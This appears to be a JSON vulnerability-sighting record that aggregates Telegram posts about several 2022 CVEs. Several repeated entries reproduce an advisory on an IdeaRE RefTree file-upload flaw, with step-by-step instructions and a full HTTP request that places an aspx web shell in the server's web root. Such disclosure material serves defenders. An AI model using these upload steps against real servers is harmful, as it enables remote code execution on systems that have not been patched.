{"vulnerability": "cve-2022-2724", "sightings": [{"uuid": "8ba95560-bc08-4a4f-8813-c341a57b0301", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-2724", "type": "seen", "source": "https://t.me/cibsecurity/47768", "content": "\u203c CVE-2022-2724 \u203c\n\nA vulnerability was found in SourceCodester Employee Management System. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /process/aprocess.php. The manipulation of the argument mailuid leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-205837 was assigned to this vulnerability.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-08-09T12:24:30.000000Z"}, {"uuid": "201e1308-abe6-4dbf-b2a4-8cf16c3608ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-27241", "type": "seen", "source": "https://t.me/cibsecurity/40606", "content": "\u203c CVE-2022-27241 \u203c\n\nA vulnerability has been identified in Mendix Applications using Mendix 7 (All versions), Mendix Applications using Mendix 8 (All versions), Mendix Applications using Mendix 9 (All versions < V9.11). Applications built with an affected system publicly expose the internal project structure. This could allow an unauthenticated remote attacker to read confidential information.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-04-12T12:30:31.000000Z"}, {"uuid": "f049dc03-cb1b-4eeb-84c9-6bfefcdf39a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-27249", "type": "seen", "source": "https://t.me/cibsecurity/40081", "content": "\u203c CVE-2022-27249 \u203c\n\nAn unrestricted file upload vulnerability in IdeaRE RefTree before 2021.09.17 allows remote authenticated users to execute arbitrary code by using UploadDwg to upload a crafted aspx file to the web root, and then visiting the URL for this aspx resource.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-04-04T02:27:10.000000Z"}, {"uuid": "cdab0aa2-a291-4b28-9f96-25e3277b9042", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-27248", "type": "seen", "source": "https://t.me/cibsecurity/40076", "content": "\u203c CVE-2022-27248 \u203c\n\nA directory traversal vulnerability in IdeaRE RefTree before 2021.09.17 allows remote authenticated users to download arbitrary .dwg files from a remote server by specifying an absolute or relative path when invoking the affected DownloadDwg endpoint. An attack uses the path field to CaddemServiceJS/CaddemService.svc/rest/DownloadDwg.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-04-04T02:27:04.000000Z"}, {"uuid": "e0abc696-ac4c-452e-8ceb-15874533af13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-27243", "type": "seen", "source": "https://t.me/cibsecurity/39225", "content": "\u203c CVE-2022-27243 \u203c\n\nAn issue was discovered in MISP before 2.4.156. app/View/Users/terms.ctp allows Local File Inclusion via the custom terms file setting.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-03-18T21:22:55.000000Z"}, {"uuid": "7a2cc43c-a2fe-4f33-97e6-099e974fb3f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-27240", "type": "seen", "source": "https://t.me/cibsecurity/39187", "content": "\u203c CVE-2022-27240 \u203c\n\nscheme/webauthn.c in Glewlwyd SSO server 2.x before 2.6.2 has a buffer overflow associated with a webauthn assertion.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-03-18T11:22:22.000000Z"}, {"uuid": "7b3109c6-8a75-43d9-ae25-2d8a7673d52e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-27244", "type": "seen", "source": "https://t.me/cibsecurity/39245", "content": "\u203c CVE-2022-27244 \u203c\n\nAn issue was discovered in MISP before 2.4.156. A malicious site administrator could store an XSS payload in the custom auth name. This would be executed each time the administrator modifies a user.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-03-18T21:28:55.000000Z"}, {"uuid": "f709df20-cacd-40db-bfeb-e8bfee1cc577", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-27246", "type": "seen", "source": "https://t.me/cibsecurity/39242", "content": "\u203c CVE-2022-27246 \u203c\n\nAn issue was discovered in MISP before 2.4.156. An SVG org logo (which may contain JavaScript) is not forbidden by default.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-03-18T21:28:51.000000Z"}, {"uuid": "941dd336-4e1e-4477-a824-c73d39384946", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-27245", "type": "seen", "source": "https://t.me/cibsecurity/39241", "content": "\u203c CVE-2022-27245 \u203c\n\nAn issue was discovered in MISP before 2.4.156. app/Model/Server.php does not restrict generateServerSettings to the CLI. This could lead to SSRF.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-03-18T21:28:50.000000Z"}, {"uuid": "8f8e0a75-7f0e-400e-a2ef-acdeda64a8d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-27248", "type": "seen", "source": "https://t.me/hacking_Attack/48319", "content": "Exploit Collector\nIdeaRE RefTree Path Traversal\n\nhttps://4.bp.blogspot.com/-khon6dqGLkI/WWlvkVAr7qI/AAAAAAAAIQw/JwPgE9u6PkcV9AqklLFI3rOjfEX9YXC4QCLcBGAs/s1600/h96.png \nIdeaRE RefTree versions prior to 2021.09.17 suffer from a path traversal vulnerability.\n\nMD5 | 1904b5871bb55bef8c2d09153a908a8b\n\nDownload\n===============================================================================\ntitle: IdeaRE RefTree Download Path Traversal\nproduct: IdeaRE RefTree < 2021.09.17\nvulnerability type: Directory Traversal\nCVE ID: CVE-2022-27248\nseverity: Medium\nCVSSv3 score: 4.3\nCVSSv3 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N\nfound: 2021-09-13\nby: Savino Sisco = 2021.09.17\n\n[CONTACT DETAILS]\nSavino Sisco \nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:48.426037Z"}, {"uuid": "035fe12d-e469-45bb-8dc3-71708bc6c769", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-27249", "type": "seen", "source": "https://t.me/hacking_Attack/48314", "content": "Exploit Collector\nIdeaRE RefTree Shell Upload\n\nhttps://4.bp.blogspot.com/-lQ2zJgiLTsU/WWlu34sMcWI/AAAAAAAAII4/mS7xceEZnmUYAvFeoaUiLc9JINHoDjNsACLcBGAs/s1600/h102.png \nIdeaRE RefTree versions prior to 2021.09.17 suffer from a remote shell upload vulnerability.\n\nMD5 | b5254f5700fec9d47bc63de6bc572026\n\nDownload\n===============================================================================\ntitle: IdeaRE RefTree Remote Code Execution\nproduct: IdeaRE RefTree < 2021.09.17\nvulnerability type: Unrestricted File Upload\nCVE ID: CVE-2022-27249\nseverity: High\nCVSSv3 score: 8.8\nCVSSv3 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nfound: 2021-09-13\nby: Savino Sisco saviosisco@gmail.com\n===============================================================================\n\n[EXECUTIVE SUMMARY]\nRefTree is a web application made for managing complex real estate situations.\nAmong other features, it offers the possibility for authenticated users\nto upload and download DWG (CAD drawings) files for buildings.\n\nDuring a penetration test activity, an \"Unrestricted File Upload\" vulnerability\nwas found which leverages the upload feature to upload a file anywhere on the \ntarget system.\n\nBy uploading a malicious web page, like an aspx web shell, to the server's\nweb root it is possible to achive code execution by just navigating to the\nmalicious page with a web browser.\n\n[VULNERABLE VERSIONS]\nIdeaRE RefTree < 2021.09.17\n\n[TECHNICAL DETAILS]\nIt is possible to reproduce the issue following these steps:\n1. Log into the application to get a valid session cookie\n2. Get a valid \"ObjId\" from the application (the ID of a building to associate\nthe file to)\n3. Use the API endpoint '/CaddemServiceJS/CaddemService.svc/rest/UploadDwg'\nto upload a file on the target system, for example a web shell in the\nserver's web root\n4. Navigate to the new page with a web browser to trigger code execution\nExample of the HTTP request to the Upload endpoint:\n\nPOST /CaddemServiceJS/CaddemService.svc/rest/UploadDwg HTTP/2\nHost: [REDACTED]\nCookie: ASP.NET_SessionId=b1125gke23enpul1ukeu1ouy\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/json\nContent-Length: 2211\nOrigin: https://[REDACTED]\nReferer: https://[REDACTED]/Reftreespace/\n\n{\n\"FileContent\": \"[BASE64_PAYLOAD]\",\n\"DwgName\": \"C:\\\\inetpub\\\\wwwroot\\\\webshell.aspx\",\n\"UploadType\": \"WorkingCopy\",\n\"ObjId\": 4774726,\n\"ObjType\": 5,\n\"UpdateState\": true,\n\"DwgOp\": 23\n}\nHTTP/2 200 OK\nCache-Control: private\nContent-Type: application/json; charset=utf-8\nServer: Microsoft-IIS/10.0\nAccess-Control-Allow-Credentials: true\nAccess-Control-Allow-Origin: [REDACTED]\nX-Powered-By: ASP.NET\nDate: Fri, 10 Sep 2021 15:00:53 GMT\nContent-Length: 24\n\n{\"UploadDwgResult\":null}\n[VULNERABILITY REFERENCE]\nThe following CVE ID was allocated to track the vulnerabilities:\nCVE-2022-27249\n[DISCLOSURE TIMELINE]\n2021-09-13  Vulnerability disclosed to our customer and the vendor.\nVendor acknowledged the issue.\n2021-09-17  Vendor released a fix for the software.\n2021-10-15  The vulnerability was rechecked in the newer version to confirm \nthat is was indeed fixed.\n2022-03-15  Researcher requested to publicly disclose the issue; public\ncoordinated disclosure.\n\n[RESOLUTION]\nUpdate the software to a version >= 2021.09.17\n\nSavino Sisco \nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:48.768586Z"}, {"uuid": "b1652f52-0905-41ed-8a8a-4faf32fa9b38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-27249", "type": "seen", "source": "https://t.me/hacking_Attack/48314", "content": "Exploit Collector\nIdeaRE RefTree Shell Upload\n\nhttps://4.bp.blogspot.com/-lQ2zJgiLTsU/WWlu34sMcWI/AAAAAAAAII4/mS7xceEZnmUYAvFeoaUiLc9JINHoDjNsACLcBGAs/s1600/h102.png \nIdeaRE RefTree versions prior to 2021.09.17 suffer from a remote shell upload vulnerability.\n\nMD5 | b5254f5700fec9d47bc63de6bc572026\n\nDownload\n===============================================================================\ntitle: IdeaRE RefTree Remote Code Execution\nproduct: IdeaRE RefTree < 2021.09.17\nvulnerability type: Unrestricted File Upload\nCVE ID: CVE-2022-27249\nseverity: High\nCVSSv3 score: 8.8\nCVSSv3 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nfound: 2021-09-13\nby: Savino Sisco saviosisco@gmail.com\n===============================================================================\n\n[EXECUTIVE SUMMARY]\nRefTree is a web application made for managing complex real estate situations.\nAmong other features, it offers the possibility for authenticated users\nto upload and download DWG (CAD drawings) files for buildings.\n\nDuring a penetration test activity, an \"Unrestricted File Upload\" vulnerability\nwas found which leverages the upload feature to upload a file anywhere on the \ntarget system.\n\nBy uploading a malicious web page, like an aspx web shell, to the server's\nweb root it is possible to achive code execution by just navigating to the\nmalicious page with a web browser.\n\n[VULNERABLE VERSIONS]\nIdeaRE RefTree < 2021.09.17\n\n[TECHNICAL DETAILS]\nIt is possible to reproduce the issue following these steps:\n1. Log into the application to get a valid session cookie\n2. Get a valid \"ObjId\" from the application (the ID of a building to associate\nthe file to)\n3. Use the API endpoint '/CaddemServiceJS/CaddemService.svc/rest/UploadDwg'\nto upload a file on the target system, for example a web shell in the\nserver's web root\n4. Navigate to the new page with a web browser to trigger code execution\nExample of the HTTP request to the Upload endpoint:\n\nPOST /CaddemServiceJS/CaddemService.svc/rest/UploadDwg HTTP/2\nHost: [REDACTED]\nCookie: ASP.NET_SessionId=b1125gke23enpul1ukeu1ouy\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/json\nContent-Length: 2211\nOrigin: https://[REDACTED]\nReferer: https://[REDACTED]/Reftreespace/\n\n{\n\"FileContent\": \"[BASE64_PAYLOAD]\",\n\"DwgName\": \"C:\\\\inetpub\\\\wwwroot\\\\webshell.aspx\",\n\"UploadType\": \"WorkingCopy\",\n\"ObjId\": 4774726,\n\"ObjType\": 5,\n\"UpdateState\": true,\n\"DwgOp\": 23\n}\nHTTP/2 200 OK\nCache-Control: private\nContent-Type: application/json; charset=utf-8\nServer: Microsoft-IIS/10.0\nAccess-Control-Allow-Credentials: true\nAccess-Control-Allow-Origin: [REDACTED]\nX-Powered-By: ASP.NET\nDate: Fri, 10 Sep 2021 15:00:53 GMT\nContent-Length: 24\n\n{\"UploadDwgResult\":null}\n[VULNERABILITY REFERENCE]\nThe following CVE ID was allocated to track the vulnerabilities:\nCVE-2022-27249\n[DISCLOSURE TIMELINE]\n2021-09-13  Vulnerability disclosed to our customer and the vendor.\nVendor acknowledged the issue.\n2021-09-17  Vendor released a fix for the software.\n2021-10-15  The vulnerability was rechecked in the newer version to confirm \nthat is was indeed fixed.\n2022-03-15  Researcher requested to publicly disclose the issue; public\ncoordinated disclosure.\n\n[RESOLUTION]\nUpdate the software to a version >= 2021.09.17\n\nSavino Sisco \nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:01.899535Z"}, {"uuid": "dc7f139d-4246-4da8-af8f-5b092d1ab7f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-27248", "type": "seen", "source": "https://t.me/hacking_Attack/48319", "content": "Exploit Collector\nIdeaRE RefTree Path Traversal\n\nhttps://4.bp.blogspot.com/-khon6dqGLkI/WWlvkVAr7qI/AAAAAAAAIQw/JwPgE9u6PkcV9AqklLFI3rOjfEX9YXC4QCLcBGAs/s1600/h96.png \nIdeaRE RefTree versions prior to 2021.09.17 suffer from a path traversal vulnerability.\n\nMD5 | 1904b5871bb55bef8c2d09153a908a8b\n\nDownload\n===============================================================================\ntitle: IdeaRE RefTree Download Path Traversal\nproduct: IdeaRE RefTree < 2021.09.17\nvulnerability type: Directory Traversal\nCVE ID: CVE-2022-27248\nseverity: Medium\nCVSSv3 score: 4.3\nCVSSv3 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N\nfound: 2021-09-13\nby: Savino Sisco = 2021.09.17\n\n[CONTACT DETAILS]\nSavino Sisco \nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:01.590163Z"}, {"uuid": "cd473663-b110-4fe1-a8a0-b0b37dfba5bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-27249", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/48314", "content": "Exploit Collector\nIdeaRE RefTree Shell Upload\n\nhttps://4.bp.blogspot.com/-lQ2zJgiLTsU/WWlu34sMcWI/AAAAAAAAII4/mS7xceEZnmUYAvFeoaUiLc9JINHoDjNsACLcBGAs/s1600/h102.png \nIdeaRE RefTree versions prior to 2021.09.17 suffer from a remote shell upload vulnerability.\n\nMD5 | b5254f5700fec9d47bc63de6bc572026\n\nDownload\n===============================================================================\ntitle: IdeaRE RefTree Remote Code Execution\nproduct: IdeaRE RefTree < 2021.09.17\nvulnerability type: Unrestricted File Upload\nCVE ID: CVE-2022-27249\nseverity: High\nCVSSv3 score: 8.8\nCVSSv3 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nfound: 2021-09-13\nby: Savino Sisco saviosisco@gmail.com\n===============================================================================\n\n[EXECUTIVE SUMMARY]\nRefTree is a web application made for managing complex real estate situations.\nAmong other features, it offers the possibility for authenticated users\nto upload and download DWG (CAD drawings) files for buildings.\n\nDuring a penetration test activity, an \"Unrestricted File Upload\" vulnerability\nwas found which leverages the upload feature to upload a file anywhere on the \ntarget system.\n\nBy uploading a malicious web page, like an aspx web shell, to the server's\nweb root it is possible to achive code execution by just navigating to the\nmalicious page with a web browser.\n\n[VULNERABLE VERSIONS]\nIdeaRE RefTree < 2021.09.17\n\n[TECHNICAL DETAILS]\nIt is possible to reproduce the issue following these steps:\n1. Log into the application to get a valid session cookie\n2. Get a valid \"ObjId\" from the application (the ID of a building to associate\nthe file to)\n3. Use the API endpoint '/CaddemServiceJS/CaddemService.svc/rest/UploadDwg'\nto upload a file on the target system, for example a web shell in the\nserver's web root\n4. Navigate to the new page with a web browser to trigger code execution\nExample of the HTTP request to the Upload endpoint:\n\nPOST /CaddemServiceJS/CaddemService.svc/rest/UploadDwg HTTP/2\nHost: [REDACTED]\nCookie: ASP.NET_SessionId=b1125gke23enpul1ukeu1ouy\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/json\nContent-Length: 2211\nOrigin: https://[REDACTED]\nReferer: https://[REDACTED]/Reftreespace/\n\n{\n\"FileContent\": \"[BASE64_PAYLOAD]\",\n\"DwgName\": \"C:\\\\inetpub\\\\wwwroot\\\\webshell.aspx\",\n\"UploadType\": \"WorkingCopy\",\n\"ObjId\": 4774726,\n\"ObjType\": 5,\n\"UpdateState\": true,\n\"DwgOp\": 23\n}\nHTTP/2 200 OK\nCache-Control: private\nContent-Type: application/json; charset=utf-8\nServer: Microsoft-IIS/10.0\nAccess-Control-Allow-Credentials: true\nAccess-Control-Allow-Origin: [REDACTED]\nX-Powered-By: ASP.NET\nDate: Fri, 10 Sep 2021 15:00:53 GMT\nContent-Length: 24\n\n{\"UploadDwgResult\":null}\n[VULNERABILITY REFERENCE]\nThe following CVE ID was allocated to track the vulnerabilities:\nCVE-2022-27249\n[DISCLOSURE TIMELINE]\n2021-09-13  Vulnerability disclosed to our customer and the vendor.\nVendor acknowledged the issue.\n2021-09-17  Vendor released a fix for the software.\n2021-10-15  The vulnerability was rechecked in the newer version to confirm \nthat is was indeed fixed.\n2022-03-15  Researcher requested to publicly disclose the issue; public\ncoordinated disclosure.\n\n[RESOLUTION]\nUpdate the software to a version >= 2021.09.17\n\nSavino Sisco \nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T03:00:04.525586Z"}, {"uuid": "bc572e9f-8952-418d-9dcc-5f717539a4a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-27248", "type": "seen", "source": "https://t.me/hacking_Attack/48319", "content": "Exploit Collector\nIdeaRE RefTree Path Traversal\n\nhttps://4.bp.blogspot.com/-khon6dqGLkI/WWlvkVAr7qI/AAAAAAAAIQw/JwPgE9u6PkcV9AqklLFI3rOjfEX9YXC4QCLcBGAs/s1600/h96.png \nIdeaRE RefTree versions prior to 2021.09.17 suffer from a path traversal vulnerability.\n\nMD5 | 1904b5871bb55bef8c2d09153a908a8b\n\nDownload\n===============================================================================\ntitle: IdeaRE RefTree Download Path Traversal\nproduct: IdeaRE RefTree < 2021.09.17\nvulnerability type: Directory Traversal\nCVE ID: CVE-2022-27248\nseverity: Medium\nCVSSv3 score: 4.3\nCVSSv3 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N\nfound: 2021-09-13\nby: Savino Sisco = 2021.09.17\n\n[CONTACT DETAILS]\nSavino Sisco \nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T03:00:04.855465Z"}, {"uuid": "99b0fa9c-b9b0-44be-8838-5ef660c45daa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-27249", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/48314", "content": "Exploit Collector\nIdeaRE RefTree Shell Upload\n\nhttps://4.bp.blogspot.com/-lQ2zJgiLTsU/WWlu34sMcWI/AAAAAAAAII4/mS7xceEZnmUYAvFeoaUiLc9JINHoDjNsACLcBGAs/s1600/h102.png \nIdeaRE RefTree versions prior to 2021.09.17 suffer from a remote shell upload vulnerability.\n\nMD5 | b5254f5700fec9d47bc63de6bc572026\n\nDownload\n===============================================================================\ntitle: IdeaRE RefTree Remote Code Execution\nproduct: IdeaRE RefTree < 2021.09.17\nvulnerability type: Unrestricted File Upload\nCVE ID: CVE-2022-27249\nseverity: High\nCVSSv3 score: 8.8\nCVSSv3 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nfound: 2021-09-13\nby: Savino Sisco saviosisco@gmail.com\n===============================================================================\n\n[EXECUTIVE SUMMARY]\nRefTree is a web application made for managing complex real estate situations.\nAmong other features, it offers the possibility for authenticated users\nto upload and download DWG (CAD drawings) files for buildings.\n\nDuring a penetration test activity, an \"Unrestricted File Upload\" vulnerability\nwas found which leverages the upload feature to upload a file anywhere on the \ntarget system.\n\nBy uploading a malicious web page, like an aspx web shell, to the server's\nweb root it is possible to achive code execution by just navigating to the\nmalicious page with a web browser.\n\n[VULNERABLE VERSIONS]\nIdeaRE RefTree < 2021.09.17\n\n[TECHNICAL DETAILS]\nIt is possible to reproduce the issue following these steps:\n1. Log into the application to get a valid session cookie\n2. Get a valid \"ObjId\" from the application (the ID of a building to associate\nthe file to)\n3. Use the API endpoint '/CaddemServiceJS/CaddemService.svc/rest/UploadDwg'\nto upload a file on the target system, for example a web shell in the\nserver's web root\n4. Navigate to the new page with a web browser to trigger code execution\nExample of the HTTP request to the Upload endpoint:\n\nPOST /CaddemServiceJS/CaddemService.svc/rest/UploadDwg HTTP/2\nHost: [REDACTED]\nCookie: ASP.NET_SessionId=b1125gke23enpul1ukeu1ouy\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/json\nContent-Length: 2211\nOrigin: https://[REDACTED]\nReferer: https://[REDACTED]/Reftreespace/\n\n{\n\"FileContent\": \"[BASE64_PAYLOAD]\",\n\"DwgName\": \"C:\\\\inetpub\\\\wwwroot\\\\webshell.aspx\",\n\"UploadType\": \"WorkingCopy\",\n\"ObjId\": 4774726,\n\"ObjType\": 5,\n\"UpdateState\": true,\n\"DwgOp\": 23\n}\nHTTP/2 200 OK\nCache-Control: private\nContent-Type: application/json; charset=utf-8\nServer: Microsoft-IIS/10.0\nAccess-Control-Allow-Credentials: true\nAccess-Control-Allow-Origin: [REDACTED]\nX-Powered-By: ASP.NET\nDate: Fri, 10 Sep 2021 15:00:53 GMT\nContent-Length: 24\n\n{\"UploadDwgResult\":null}\n[VULNERABILITY REFERENCE]\nThe following CVE ID was allocated to track the vulnerabilities:\nCVE-2022-27249\n[DISCLOSURE TIMELINE]\n2021-09-13  Vulnerability disclosed to our customer and the vendor.\nVendor acknowledged the issue.\n2021-09-17  Vendor released a fix for the software.\n2021-10-15  The vulnerability was rechecked in the newer version to confirm \nthat is was indeed fixed.\n2022-03-15  Researcher requested to publicly disclose the issue; public\ncoordinated disclosure.\n\n[RESOLUTION]\nUpdate the software to a version >= 2021.09.17\n\nSavino Sisco \nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T01:00:36.365616Z"}, {"uuid": "5ab948ba-f61e-45e6-ad60-784eb2a14fbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-27248", "type": "seen", "source": "https://t.me/hacking_Attack/48319", "content": "Exploit Collector\nIdeaRE RefTree Path Traversal\n\nhttps://4.bp.blogspot.com/-khon6dqGLkI/WWlvkVAr7qI/AAAAAAAAIQw/JwPgE9u6PkcV9AqklLFI3rOjfEX9YXC4QCLcBGAs/s1600/h96.png \nIdeaRE RefTree versions prior to 2021.09.17 suffer from a path traversal vulnerability.\n\nMD5 | 1904b5871bb55bef8c2d09153a908a8b\n\nDownload\n===============================================================================\ntitle: IdeaRE RefTree Download Path Traversal\nproduct: IdeaRE RefTree < 2021.09.17\nvulnerability type: Directory Traversal\nCVE ID: CVE-2022-27248\nseverity: Medium\nCVSSv3 score: 4.3\nCVSSv3 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N\nfound: 2021-09-13\nby: Savino Sisco = 2021.09.17\n\n[CONTACT DETAILS]\nSavino Sisco \nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T01:00:36.651163Z"}]}